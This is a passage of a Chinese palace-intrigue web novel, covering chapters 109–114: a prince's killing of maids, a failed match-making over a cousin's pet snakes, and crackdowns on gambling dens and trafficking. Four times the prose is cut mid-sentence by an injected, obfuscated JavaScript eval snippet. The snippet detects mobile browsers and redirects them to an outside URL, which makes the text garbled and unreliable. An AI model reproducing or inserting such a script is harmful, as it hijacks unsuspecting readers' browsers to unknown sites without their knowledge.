凝香听罢,扑通一声跪在他面前,泪如泉涌,哀戚道:“殿下,妾身别无所求,只盼在这深宫之中,能有个孩子傍身。妾身不过是女支子出身,即便生下男婴,也绝不会对殿下和熙贵妃有半分威胁。求殿下看在孩子与您血脉相连的份上,留他一命吧!” 萧修湛低头看着眼前梨花带雨的女子,心中百味杂陈。 他虽姬妾众多,但熙贵妃严令她们不得诞下子嗣。 一来长子须由正妃所出,二来若有子嗣,恐被朝臣拿来大做文章,甚至给他扣上“骄奢银逸”的罪名。 因此,他一直命姬妾服避子药。 曾有试图怀孕以求高位的女子,皆被母妃以“心思深沉”为由,逼迫打胎并逐出府中。 如今细想,若凝香能顺利诞下这个孩子,这将是他的第一个骨肉。 父皇的妃子怀上他的骨肉,这种感觉诡异而奇妙,仿佛连父皇的后宫也成了他的禁脔。 他嘴角不由浮现一抹邪肆笑意。 “既然你如此想要这孩子,那就生下吧。”萧修湛轻抚她尚且平坦的小腹,眼中晦暗不明,“若本王有朝一日登临大位,再与他相认。” “谢殿下!”凝香激动不已,连连磕头。 忽地,她似想到什么,惊恐地瞥向身旁的两名宫女,颤声道:“可她们是熙贵妃的人……” 那两名宫女闻言,脸色骤然惨白,慌忙跪地求饶:“殿下饶命!奴婢定守口如瓶,绝不泄露半字!” 萧修湛起身,脸色阴郁,缓缓朝她们逼近,声音冰冷刺骨:“在本王看来,只有**才能真正守住秘密!” 话音未落,他亲自动手,硬生生掐**两名宫女。 其余熙贵妃安插的宫人,亦未能逃过他的毒手。 他将今日在皇帝面前所受的**与窝囊气,尽数宣泄在这群无辜之人身上,殿内哀嚎声不断,浓重的血腥味弥漫开来。 杀得畅快了,他还不忘回过头,对凝香柔声叮嘱:“你先到殿外等着,小心动了胎气。” “谢殿下!”凝香低头应声,眼中却悄然闪过一抹得逞的笑意。 太好了,终于借萧修湛之手将熙贵妃安插在自己身边的眼线尽数杀了。 四皇子说得对,只要让萧修湛以为自己怀的是他的孩子,他定会护她周全。 第110章 乱点鸳鸯谱 第一百一十章乱点鸳鸯谱 没过多久,皇帝便下旨,正式剥夺萧修湛的瑞王封号,并追回所有封赏,以此安抚顾家,平息他们对“顾亦庭”尸体**一事的追查。 萧琪钰来到景和宫,笑着对萧凌川道:“四哥,三哥这次真是自食恶果!他找来的那具尸体,早被我们的人动了手脚。他还以为是手下办事不力,气得杀了那几个替他找尸体的人。不过说起来,这事还得感谢南月毒师,要不是她研制出这种特殊的**,我们哪有机会让三哥栽这么大一个跟头!” 凌芜接连从姜三夫人藏匿于后厨的毒物偷出来交给他们查看。 他们发现其中一种**颇为特殊,只要将其涂抹在尸体表面,便能使尸骨呈现出**的迹象,看起来仿佛死者生前中过毒一样。 他们正是利用这种**,在那具尸体上做了手脚。 “顾亦庭本就是因为发现萧修湛通敌之事被灭口,他该付出些代价。”萧凌川声音冷冽,面无表情,“剥夺封号、归还封赏,算不得重罚。父皇还是心疼他,不舍得下狠手。” “让他归还封赏,已经够他焦头烂额的了!”萧琪钰幸灾乐祸道,“据我所知,那些封赏早被他换成粮食和兵器,送去西榆养那群私兵了。如今想拿回来,简直难如登天。这一次,他算是被逼到绝路上了!” 萧凌川唇角微扬,勾起一抹冰冷的笑意:“只有被逼到绝路,他才有可能露出马脚。” 西榆私兵一事有镇国公为萧修湛操持,证据难以追查;然而,京城的地下赌场与人牙买卖,却只由他一人经手,极易露出破绽。 如今他急需钱财填补国库亏空,难保不会狗急跳墙,露出破绽。 萧凌川要等的,正是这个破绽。 —— 得知萧修湛被剥夺封号,还需退回西征剿匪所得的封赏,姜姝宁心情格外舒畅。 她亲自包了十几种口味的饺子,特意请夏嫣和姜天泽到自己院中一同享用。 夏嫣自从得知二皇子心仪张嫣后,便一直郁郁寡欢。 姜姝宁不忍见她沉浸在悲伤中无法自拔,便将她请来散散心。 其实,她也存了点小心思,打算将夏嫣介绍给姜天泽认识。 姜天泽如今是相府继承人,婚事宜早日定下。 夏嫣身为将军之女,家世不俗,又是她的闺中密友,若将来能成为姜家主母,定会与她相处融洽。 到时候,即便她终身不嫁,留在姜家,夏嫣想必也不会有异议。 夏嫣其实毫无食欲,但架不住姜姝宁的软磨硬泡,只得应邀来到相府。 她到时,姜姝宁正忙着包饺子,笑盈盈地招呼她:“我做了不少口味,你挑几样喜欢的,我待会儿给你做。对了,你得说清楚是想吃水饺还是煎饺,我好安排。” 夏嫣随意挑了荠菜和玉米馅的,因实在没什么胃口,便说想吃水饺。 姜姝宁笑得眼睛弯弯:“真是巧,你的口味跟我三弟一模一样,他也选了荠菜和玉米馅的,也说要吃水饺!” 一旁帮忙包饺子的姜天泽闻言一愣,随即笑着道:“大姐姐,我忽然改主意想吃煎饺了,待会儿麻烦你帮我煎吧。另外,我瞧着牛肉饺子也不错,劳烦再给我备一份!” 姜姝宁气得牙痒,暗中狠狠瞪了姜天泽一眼。 好不容易打造出来的“口味相投”,竟被他一句话彻底毁掉了! 姜天泽不明所以,一脸无辜地看向她:“大姐姐,你干嘛这样瞪我?” “三弟,我有话问你。”姜姝宁凑近姜天泽,低声问道,“你可喜欢比你年长的女子?” 她身上独有的淡淡馨香夹杂着温热的气息喷薄在他耳边,姜天泽只觉得脸颊发烫,发自内心答道:“喜欢的。” “那就好!”姜姝宁满脸欣喜,“夏嫣与我同龄,今年十七,恰好比你大一岁!若能与夏家结亲,真是再合适不过了!” 姜天泽脸上的笑容瞬间僵住。 “大姐姐是想让我与夏嫣姐……相看?” “你是相府的继承人,迟早要成亲。夏嫣无论是相貌还是出身,都堪称出众。你若多费些心思,要赢得她的芳心应当不难。” 姜天泽表面上恭敬应道:“是,天泽定会尽力。” 唇角却勾起一丝阴鸷的笑。 他要让夏嫣这辈子都不敢和他谈婚论嫁。 姜姝宁见姜天泽应下此事,心中欢喜不已。 如今姜天泽已点头,只需再说服夏嫣,这门亲事便十拿九稳了! 她故意提高嗓音,笑着提议:“饺子还得等一会儿才能好,不如你们俩比试一番,也好让我们开开眼界!” 夏嫣素来青睐武艺高强的男子,姜天泽虽身形不及二皇子那般健硕,但武功却颇为不俗。 若能在比试中展现身手,定能让夏嫣对他刮目相看。 此言一出,凌芜和夏蝉立马十分捧场地鼓起掌来,婢女们也纷纷附和,气氛热闹非凡。 盛情难却,夏嫣和姜天泽走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620132|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭院中,两人准备赤手空拳比试一番。 姜天泽过完年长高了不少,从前他跟姜姝宁差不多高,现在比高挑的夏嫣还要高出半个头。 他身形修长,面容昳丽,随便站在那里便能让一众婢女为他倾心。 姜姝宁深知夏嫣对容貌俊秀的男子并不在意,她必须想办法激发姜天泽的男子气概,才能让夏嫣为他心动。 她笑着对夏嫣道:“夏嫣,我三弟武功相当了得,你可得小心,别让他轻易取胜!” 这话激起了夏嫣的斗志:“姝宁,你放心吧,我一定全力以赴!” 比试很快开始。 平日里身手矫健的姜天泽,此刻却显得畏首畏尾,只顾着躲避夏嫣的攻势,半点还手的劲头都没有。 姜姝宁看得心急如焚,忍不住喊道:“三弟,别光躲啊,反击呀!” 姜天泽听到这话,像是颇为为难地尝试回击,却没能避开夏嫣挥来的拳头,鼻梁正中一拳,鼻血顿时淌了下来。 夏嫣连忙收手,满脸歉意:“对不起,天泽,我以为你能躲开的!” 姜姝宁被眼前突如其来的一幕惊得愣住。 她分明记得,之前姜天泽与武术师傅对练时,身手绝非如此不堪。 “三弟,你没事吧?”她赶忙上前,关切地问。 “大姐姐……”姜天泽眼眶泛红,委屈地埋头在她肩上,声音哽咽,“好疼啊,天泽都流血了……” 姜姝宁嘴角微抽:三弟啊,你为何偏偏当着夏嫣的面撒娇? 这样哪还有半点男子气概! “夏嫣,天泽他平日不这样的!”她欲哭无泪地对夏嫣道。 “要不,我去叫府医吧,我看他好像真的很疼!”夏嫣说着,转身便去找府医。 待夏嫣离开后,姜姝宁一把推开还伏在她肩头的姜天泽,狠狠瞪着他:“夏嫣那一拳你怎会躲不过?你是不是故意的?” 姜天泽揉了揉仍在流血的鼻子,可怜兮兮解释道:“大姐姐,是我不好,最近疏于练功,又见夏嫣姐气势太盛,我一时胆怯,才没能躲开。” “我暂且信你一次!”姜姝宁咬牙道,“但你务必给我拿出点男子气概,让她看到你勇敢的一面,千万别再像现在这样哭哭啼啼!” 姜天泽用指尖抹了抹眼角根本不存在的泪水,乖巧地点点头:“是,大姐姐。” 眼底却掠过一丝阴鸷。 勇敢的样子他自然有,就是不知道夏嫣能不能承受得住了。 第111章 表里不一 第一百一十一章表里不一 府医很快赶到翠竹院,为姜天泽仔细查看鼻子上的伤。 所幸伤势不重,府医开了几副外用药膏,叮嘱他按时涂抹。 夏嫣满脸愧疚,关切地问:“天泽,你还好吗?会不会很疼?” 姜天泽双眸泛红,刚要开口,姜姝宁便警告似地轻咳几声,抢先对夏嫣说道:“三弟自然不疼,他是堂堂男子汉,这点小伤算得了什么?对吧,三弟?” 说着,她还拍了拍姜天泽的肩膀。 她的力道并不重,可姜天泽却咳了几声,眼尾泛红,仿佛在强忍着痛楚。 夏嫣看着心头一紧,不由对姜姝宁埋怨道:“我知道你三弟是相府继承人,你对他期望颇高,但也要因材施教。他身子骨本就单薄,你还逼他习武,这不是揠苗助长吗?” 姜姝宁闻言一惊:“他哪里身子弱了?再说,学武也不是我逼的,是他自己……” “大姐姐别说了!”姜天泽打断她,语气坚定,“天泽绝不辜负大姐姐的期望,定会好好习武,成为一个顶天立地的男子汉!” 姜姝宁磨了磨后槽牙:“你最好如此!” 他再摆出这副柔弱不能自理的模样,夏嫣能看上他才怪! 姜天泽转头看向夏嫣:“夏嫣姐,大姐姐做的饺子还没好,不如我带你去看看我养的宠物如何?” 姜姝宁见他主动提出与夏嫣独处,心中一喜,连忙附和:“夏嫣,你就去吧!看完宠物,正好回来吃我做的饺子!” 夏嫣没有推辞,微微一笑:“那走吧!” 目送两人离去的背影,姜姝宁脸上浮现出一抹欣慰的笑意。 她转头对一旁的凌芜道:“凌芜,你觉得他们俩是不是很般配?” 凌芜摇了摇头:“大小姐,恕奴婢直言,这院里除了您,没人觉得三少爷和夏姑娘般配。他们彼此根本看不上对方,您这完全是在乱点鸳鸯谱!” 姜姝宁不以为意:“你懂什么?感情这东西是可以慢慢培养的。就算他们现在对彼此没感觉,相处久了自然会有情意。这世上哪有那么多一见钟情?能踏踏实实过日子才是最重要的!” 她自己前世那段婚姻就是个活生生的教训。 她对萧凌川一见倾心,可结局却不尽人意。 倘若当初她能多一分理智,选择一个性格品行皆相匹配的男子成亲,或许前世也能过上幸福安稳的日子。 “原来相处久了能生出情意啊!”凌芜一副恍然大悟的模样,挤眉弄眼地调侃道,“那大小姐总往宫里跑,去见四皇子殿下,这么说来,您和四皇子殿下迟早也会有情意咯?” “谁跟他有情意啊?别胡说八道!”姜姝宁气得小脸通红,剜了凌芜一眼,转身就往后厨走去,“快来帮我煮饺子!” “是,大小姐!”凌芜捂嘴偷笑,紧跟在她身后。 另一边,姜天泽带着夏嫣来到了西院。 夏嫣自幼习武,五感远比常人敏锐,不知为何,一踏入这西院,她便感到一阵莫名的寒意,仿佛有双无形的眼睛正窥视着她。 直觉告诉她,这院子里藏着某种令人不安的东西。 姜天泽察觉到她的迟疑,回过头冲她温润一笑:“夏嫣姐不必拘谨,今日我父母外出,院中只有些下人。” “嗯。”夏嫣点头,心想,让她不安的并非长辈,而是这院子里弥漫的那股说不出的阴冷气息。 可对上姜天泽那张清俊无害的面庞,她又觉得自己多虑了。 姜姝宁的堂弟,定如她一般,是个温和善良之人。 姜天泽将她领到后院一间小屋前,屋内堆满了干草,草上散落着许多椭圆形的白色蛋。 “这是什么蛋?”夏嫣好奇地问。 姜天泽唇角微微上扬,露出一抹意味深长的笑意:“这啊,是蛇蛋!” “蛇……”夏嫣顿时头皮发麻,声音都有些发紧,“这么多蛇蛋,难道你说的宠物是……” “没错,夏嫣姐,我平日里没什么特别的爱好。”姜天泽一边说着,一边走到一个竹筐旁,掀开盖子,陡然从里面取出几条色彩斑斓的蛇。 他笑意盈盈地看向夏嫣,手中的蛇在他指间疯狂扭动,吐着猩红的信子,“我最喜欢的就是养各种蛇!” 夏嫣被这恐怖一幕吓得尖叫一声,撒腿就跑。 她慌不择路地逃回翠竹院,脸色煞白,上气不接下气地对姜姝宁喊道:“你三弟他、他……” 姜姝宁心头一紧,忙追问:“他怎么了?” “他在后院养毒蛇!”夏嫣声音发颤,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620133|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中尽是惊恐。 “什么?”姜姝宁大吃一惊,万万没想到姜天泽所谓的“宠物”,竟然是蛇! 就在这时,姜天泽慢悠悠地走了过来。 夏嫣一见到他便吓得魂飞魄散,立马躲到姜姝宁身后,生怕他会冷不丁掏出一把蛇来! 姜姝宁沉下脸,质问道:“天泽,这到底是怎么回事?你怎能在后院养毒蛇?” 姜天泽神色无辜,语气轻柔地解释:“大姐姐、夏嫣姐,我的确在后院养蛇,但那些蛇都已去除毒腺,连毒牙也被我拔掉了,绝对伤不了人的!” 听到这话,夏嫣非但没安心,反而更加毛骨悚然。 他不仅养蛇,还除去毒蛇的毒腺和毒牙,这少年心性如此森冷诡异,简直令人不寒而栗! “姝宁,我还是先回去吧,改日再来看你……”夏嫣声音发抖,心有余悸。 姜姝宁见她被吓得不轻,忙挽留道:“水饺我都煮好了,不如你吃完再走吧!” 姜天泽摸了摸肚子,笑得一脸无害:“大姐姐这么一说,我也觉得饿了。” 他笑容纯净,仿佛方才那令人胆寒的一幕与他毫无干系,夏嫣却怎么也无法将眼前的少年与那个一把抓起斑斓毒蛇的人重叠在一起。 他一直都是这般表里不一的吗? 转头对上挚友满是歉意又带着期盼的眼神,夏嫣只得硬着头皮答应:“好吧,那我吃完饺子就走。” 很快,姜姝宁命人将煎好的和煮好的饺子端上桌来。 姜天泽夹起一个煎饺,蘸着辣酱尝了一口,立马赞不绝口:“大姐姐的厨艺真是绝了,我从未吃过如此美味的饺子!” 夏嫣强压着不适,用勺子舀起一颗水饺,刚要送到嘴边,姜天泽却忽然开口,语气随意:“这水饺包得真好,皮薄馅足,个头看着跟蛇蛋似的!” 此言一出,夏嫣脑海中瞬间浮现出后院那密密麻麻的蛇蛋,以及姜天泽手中蠕动的五彩毒蛇…… “呕!”她再也忍不住,胃里一阵翻涌,直接吐了出来。 “夏嫣!”姜姝宁大惊失色,赶忙拿帕子帮她擦拭,“你没事吧?” “姝宁,我得走了!”夏嫣强忍着不适站起身,脸色难看至极,“我肠胃不舒服,今日怕是无福享用你的手艺了。” 第112章 城府深沉 第一百一十二章城府深沉 见好友这副模样,姜姝宁心疼不已。 她亲自将夏嫣送到门口,满脸歉意:“夏嫣,实在是抱歉,我本想撮合你和三弟,没想到他如此不靠谱,竟带你去看他养的蛇,还把你吓成这般模样……” 夏嫣扯了扯嘴角,露出一抹比哭还难看的笑意:“若非你我自小一起长大的情分,我还以为你故意坑我呢!你是怎么想的?你三弟性情如此古怪,谁敢与他谈婚论嫁啊?” “可他平日里并非如此。是我的错,他之前确实提过养蛇当宠物,我没想到你会怕成这样。”姜姝宁说着挽起袖子,露出缠在手腕上的小白蛇,“你看,这是他送我的。这小白蛇原本也有毒,但他亲手清除了毒腺,如今一点儿也不伤人。” 夏嫣低头瞧了瞧她腕间这条毫无威胁、甚至有些可爱的小蛇,无奈地叹了口气:“若他给我看的也是这种小蛇,我还不至于吓成这样。可他偏偏拿出的,是五颜六色、每条都至少两指粗的大蛇,还是一把抓了好几条,它们在他手中疯狂扭动……想想都让人头皮发麻!我猜知道你想撮合我们,故意吓我的,想让我知难而退。” “不会的,三弟是同意我撮合的,他还说会尽力赢得你的好感!”姜姝宁连忙道。 这话一出,夏嫣愈发脊背发凉。 “可见他心口不一!姝宁,我并非有意贬低你三弟,但不得不提醒你一句,他看似温润无害,实则内心阴暗,城府极深,你可千万要多留个心眼!” 姜姝宁一愣,随即皱眉道:“不至于吧,他不过是个十六岁的少年,城府能深到哪里去?” “但愿是我多虑了。”夏嫣拉着她的手,语气中带着几分嗔怪,“你呀,干嘛非要乱点鸳鸯谱?” “我看你整日郁郁寡欢,心里难受嘛!那二皇子有什么好,不过是个舞刀弄枪的莽夫,他没看到你的好,是他没眼光!”姜姝宁愤愤不平。 夏嫣笑了笑,似是有些被安慰到:“谢谢你,姝宁。其实我已经放下了。我的确心悦于他,但他并无义务回应我的心意。感情的事,本来就没有公开可言。” “你真的放下二皇子了?”姜姝宁眼睛一亮,继而有些惋惜道,“早知如此,我就不把浩力送给他了!” 她原是担心二皇子如前世那样在南月之战中殒命,夏嫣会因此伤心出家,才将浩力送去护他周全的。 如今夏嫣既已释怀,浩力这么个天生神力的可造之材,岂不是白白便宜了二皇子! 夏嫣也忍不住笑了:“可不是嘛,早知道就该把浩力给我爹!有此良将相助,他定能在战场上为大邺多夺几座城池!” 两人相视而笑,方才因毒蛇事件引发的阴霾一扫而空。 送夏嫣上马车后,姜姝宁这才回到翠竹院。 姜天泽迎上前,关切地问:“大姐姐,夏嫣姐她没事吧?” 见到他,姜姝宁不由得想起夏嫣临走前的提醒,顿时脸色一沉,语气中带着几分审视:“天泽,我问你,你是不是不想与夏嫣谈婚论嫁,所以才故意用毒蛇吓她?若你不喜欢她,大可直言相告,不该用这种极端的方式让她退却。” 姜天泽眼底闪过一丝慌乱,忙解释道:“大姐姐,天泽绝非有意吓唬夏嫣姐。我只是想着,若将来真要与她结为连理,总该让她了解我的喜好,这才带她去看我养的蛇。谁知竟会把她吓成那样,我实属无心。” 姜姝宁哭笑不得:“哪有姑娘家会喜欢毒蛇?还有,你从未与我提过,你养了那么多蛇,甚至徒手除去它们的毒腺和毒牙。你究竟为何要做这些事?” 一个十六岁的少年竟有如此诡异的喜好和技能,简直让人匪夷所思。 以后有哪个女子敢嫁给他当姜家主母啊? 姜天泽眼神微黯,低声解释道:“大姐姐有所不知,这些年我们在徐州过得极苦。父亲年轻时是个纨绔,将母亲赎身后,早已散尽家财。母亲听说徐州有人高价收购毒蛇毒腺制药,为了生计,便学着去山林抓蛇,慢慢练就了取毒腺和拔毒牙的本事。 那些蛇失了毒腺和毒牙,若回到野外必死无疑,母亲便将它们养在竹筐里。我自幼便是与这些蛇一同长大,它们身上有鲜艳的纹理,在旁人眼里或许可怖,但我却觉得它们很美,也乐意抓虫子、喂老鼠给它们吃。” 说起过往,姜天泽那双好看的丹凤眼里泛起一丝柔光,似有无尽感慨。 姜姝宁听完,心中也不免动容。 她从小锦衣玉食,没想到在徐州的堂弟一家竟过得如此艰难。 三婶一个柔弱女子,竟为了生计学会抓蛇、除毒腺和毒牙的本领。 姜天泽幼年与毒蛇为伴的日子,该是何等艰辛? “是大姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620134|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐错怪你了。”她语气缓和下来,“你说得对,那个要与你共度一生的人,理应接纳你的喜好。是我思虑不周,往后,我定会为你寻一个不怕蛇的女子。” “谢大姐姐。”姜天泽微微一笑,眼底却晦暗不明。 他心中清楚,大姐姐多半也是惧怕蛇的。 不过无妨,他有的是耐心,会一点点帮她克服对蛇的恐惧。 就算她一辈子也不喜欢蛇,那也没关系,他不让她看到他养的蛇便是。 在他心中,她比蛇重要多了。 —— 萧修湛坐在茶楼雅间内,接过随从递来的账册,眉头紧锁:“就这么点银子,如何够我在一个月内偿还父皇的封赏?还不快去想个法子,务必让进账多起来!” 随从面露难色:“殿下,这赌场和人牙买卖本就是见不得光的勾当,又无法张扬,如何能在短时间内增加进账?” “无法张扬,还不能用其他法子吗?”萧修湛脸色阴沉,“赌场里就加大赌注,逼那些赌徒多掏银子。至于人牙买卖,本就是无本万利的生意,只要能多抓些姑娘,还愁没有买家?这些,还需我手把手教你们吗?” “是!”随从忙应道,“小的这就去吩咐各地赌场和人牙行,加紧筹措银两!” 几日后,凌风快步走进萧凌川的书房,禀报道:“殿下,我们的眼线查到,三皇子麾下的地下赌场近日正蛊惑赌客加大赌注,甚至不择手段地在京城周边几座都城公然拐骗、抢掠少女,将她们卖入京中青楼和富贵人家后院为禁脔,手段阴狠狠辣,可谓丧尽天良!” 萧凌川脸色骤然阴沉,眼中闪过一抹冷芒:“加紧收集证据,将此事上禀大理寺卿!” 凌风一怔,迟疑道:“殿下,属下得知,这些地下赌场和人牙行当并无直接证据指向三皇子。若大理寺贸然取缔,岂不是毁了能证明他罪行的线索?” “我早料到他会留后手,行事谨慎。”萧凌川冷哼一声,唇角却勾起一抹志在必得的弧度,“不过无妨,只要将那些替他办事的关键人物活捉,重刑逼供,不怕撬不开他们的嘴。况且,他此番行事如此张狂,等于将所有脏事都摊在了明面上。等大理寺一举取缔,他的财路便彻底断绝。到时,我倒要看看,他还拿什么供养那群西榆私兵!” “是,殿下!”凌风恭敬领命,退了下去。 第113章 从不做亏本买卖 第一百一十三章从不做亏本买卖 此时,一直沉默不语的萧琪钰开口了,语气中带着几分揶揄:“四哥当真是为了断三哥的财路,才急着收集证据交给大理寺?我怎么觉得,四哥是听进了嫂嫂的恳求,怕百姓受苦,这才提前收网的?” 萧凌川端起茶杯,轻啜了一口,漫不经心地回应道:“连你也觉得我这步棋走得太早了?” “不,恰恰相反,我很佩服四哥的决断。虽无法一举将三哥彻底扳倒,但却护住了无辜百姓。那些赌徒尚且咎由自取,可被拐骗和掳走的少女何其无辜?此事自然是宜早不宜迟。”他郑重起身,朝萧凌川深深一礼,“四哥如今行事,愈发有帝王气度了。” “少来!阿谀奉承!坐下喝茶!”萧凌川嘴上虽如此说,眉眼间却染上了几分笑意。 萧琪钰坐下后,立马换上轻松的语气调侃道:“若嫂嫂知晓四哥如此为百姓着想,定会满心欢喜!自从嫂嫂出现后,四哥你行事可是越来越有人情味了!” “怎么,我从前很冷酷无情吗?”萧凌川挑眉反问。 “那可不!不仅冷酷无情,还不择手段!”萧琪钰笑着摇头,“我从前常想,你与三哥区别不大,无非看谁更强一些,谁就能成为大邺未来的帝王!” “那如今呢?”萧凌川语气淡淡,目光却紧盯着他不放。 “如今嘛,单凭你为百姓着想这一桩事,就已远胜三哥!”萧琪钰正色道,“三哥这般损人不利己,甚至勾结外敌,根本不配成为大邺的帝皇!” 萧凌川闻言,握着茶杯的手指微微收紧。 他垂下眼眸,掩去眼底一闪而过的复杂情绪。 —— 萧修湛敛财心切,命人将地下赌场的赌注大幅提高,此举直接让不少世家子弟深陷泥潭,负债累累。 其中便有张尚书之子张霖。 张霖本是与友人一同前往赌场“开开眼界”,不曾想在旁人怂恿下下注,竟一发不可收拾,沉迷其中。 待他离开赌场时,已欠下千两巨额赌债。 得知儿子背负如此重债,张尚书怒不可遏,径直将此事告到了大理寺。 京城严禁经营赌场,此乃先帝在世时便定下的铁律,如今知法犯法,自是大理寺所不容。 大理寺当即派人雷霆出击,将那家赌场一举取缔。 赌场内虽有打手护卫,但如何敌得过训练有素的吏卒? 不过几个回合,便被尽数拿下。 此事宛如撕开了一道裂口,消息传开后,其他欠债的赌徒心头一动,纷纷起了念头。 萧凌川的手下趁势大肆宣扬:只要主动提供地下赌场的线索,一旦赌场被取缔,赌徒所欠之债便可一笔勾销。 此言一出,赌徒们争先恐后地将京城内藏匿的地下赌场位置告知收集线索之人。 不出三日,所有地下赌场的地点便被整理成一份详尽文书,送至大理寺卿手中。 大理寺卿接过文书,对前来送线索的凌风郑重一礼:“还请大人代为转告四皇子殿下,感谢他鼎力支持在下公务!” 凌风拱手回礼,沉声道:“大理寺卿言重了。殿下身为大邺皇子,自当为百姓尽一份力,铲除这害人的地下赌场! 殿下还曾言,先帝之所以严禁京城开设赌场,正是深知赌场之害,盼有朝一日大邺境内能彻底杜绝此风。而殿下作为先帝皇孙,定不会辜负先帝与陛下的期望!” “四皇子殿下英明!”大理寺卿由衷称赞,眼中尽是敬佩之色。 取缔地下赌场一事进展颇为顺利,只是结果让大理寺卿震惊不已,没想到天子脚下竟暗藏如此之多的赌场,简直触目惊心。 御书房里,皇帝得知此事,龙颜大怒:“竟敢在朕的眼皮底下开设赌场,这些无良商人胆大包天!传朕的旨意,将他们全部杀无赦!” “陛下,臣有一言,不知当讲不当讲。”大理寺卿躬身道,语气谨慎。 “爱卿但说无妨。”皇帝沉声道。 “陛下,这地下赌场乃京城禁忌,寻常商人虽逐利,却断无此胆量,敢公然知法犯法。”大理寺卿顿了顿,声音压低,“臣斗胆猜测,他们背后定有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620135|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能庇护之人,甚至……不排除是皇宫中人。” 皇帝闻言,脸色骤然阴沉,眸中闪过一丝冷芒:“难道,他们幕后之人是朕的某个皇子?” 大理寺卿连忙行礼,恭敬道:“臣不敢妄言,一切还请陛下定夺。” 皇帝眯起双眼,目光深邃而冰冷。 这段时日,最为急需银钱的,非他的老三莫属。 莫非,这地下赌场的幕后获利之人,真是他? 福禄宫内,荣贵妃与萧怀瑾对坐品茶。 “此次地下赌场被取缔,全赖四皇子提供的线索起了关键作用。大理寺卿还提到,四皇子颇为认同你皇祖父的做法,甚至有心将赌场彻底从大邺境内铲除。” 荣贵妃目光试探地落在萧怀瑾身上。 见他默不作声,她又继续说道,“你外祖父身为商人,最清楚哪些行当利国利民,哪些又是对国家和百姓有害无益。唯有清除那些污浊之物,好的商路才能顺畅发展。若你四哥真有心取缔赌场,我们崔家自当全力拥护。” 萧怀瑾这才缓缓开口,语气浅淡:“此事由母妃和外祖父做主便是。” “话虽如此,但你就不担心萧凌川将来若登基为帝,你与他争姜姑娘会更为艰难吗?”荣贵妃语气稍重,提醒道,“若他真成了大邺的皇帝,这天下女子,可尽归他所有!” 萧怀瑾闻言,脸色微微一沉,眸中闪过一丝冷意。 “既然如此,那便以崔家的支持,换我与姜姑娘的一纸婚书。若四哥一心醉于权势和天下,他自会与我做这交易!” 荣贵妃闻言,笑意盈盈地轻啜一口茶:“好,就依你所言。凡是你想要的,本宫和你外祖父定会倾力成全。” 萧怀瑾脸上这才浮现出一抹笑意,低声道:“谢母妃!” 荣贵妃眼中笑意更深。 她的儿子,即便无缘皇位,也该拥有这世上所有的美好,包括他心心念念的那位相府嫡长女。 萧凌川想要登上皇位,不付出些代价又怎么行呢? 他们商人,从不做亏本买卖。 第114章 断了财路 第一百一十四章断了财路 大理寺刚取缔完京城遍布的赌坊与赌场,萧凌川的手下便雷厉风行,将京城周边都城中拐骗和掠夺年轻女子的牙行爪牙尽数抓获。 凌风向大理寺卿恭敬行礼,沉声禀报:“这些牙行爪牙专挑孤身一人的年轻女子下手,甚至闯入家境贫寒的农户家中强行抢人,手段如同强盗。被掳走或拐骗的女子,皆被卖入京城,有的沦为青楼女支子,有的被送往权贵之家为妾。恳请大理寺卿彻查此事,还无辜女子及其家人一个公道!” 大理寺卿听闻此言,震惊不已,立即下令将这些爪牙押入大牢严刑拷问,果然逼供出幕后乃是潜伏在京城的牙行所为。 随即查证,春香楼中确实有不少未签**契的女子被逼良为娼。 在酷刑之下,牙行负责人只能供出女子们的去向,其中竟牵涉不少世家贵族。 此事牵连甚广,波及众多门阀,大理寺卿不敢擅专,只得将详情上奏,交由皇帝定夺。 “被掳女子多为良家出身,不少世家贵族将其买去为贵妾,其中甚至包括宫中娘娘们的母族……”大理寺卿小心翼翼地观察皇帝神色,斟酌着问道,“陛下,是否要继续深查?” 